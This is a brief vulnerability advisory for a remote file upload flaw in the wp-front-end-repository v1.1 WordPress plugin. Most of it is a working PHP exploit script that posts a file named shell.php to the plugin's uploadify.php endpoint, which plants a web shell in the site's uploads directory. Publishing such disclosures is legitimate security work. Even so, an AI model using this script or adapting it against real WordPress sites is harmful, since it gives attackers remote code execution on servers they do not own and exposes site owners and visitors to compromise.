Remote file upload vulnerability in wp-front-end-repository v1.1 Wordpress plugin [Previously Discovered]
CVE ID(s):
CVE-none
Notified: 2015-07-11
Description:
Members can upload and download files, create directories up to unlimited level.
Exploit:
<?php
/*
Exploit for wp-front-end-repository remote shell upload.
Larry W. Cashdollar, @_larry0
7/11/2015
*/
$uploadfile="/var/www/shell.php";
$ch =
curl_init("http://www.vapidlabs.com/wp-content/plugins/wp-front-end-repository/js/uploadify/uploadify.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, array('Filedata'=>"@$uploadfile",'folder'=>'/usr/share/wordpress/wp-content/uploads/','name'=>'shell.php'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";
?>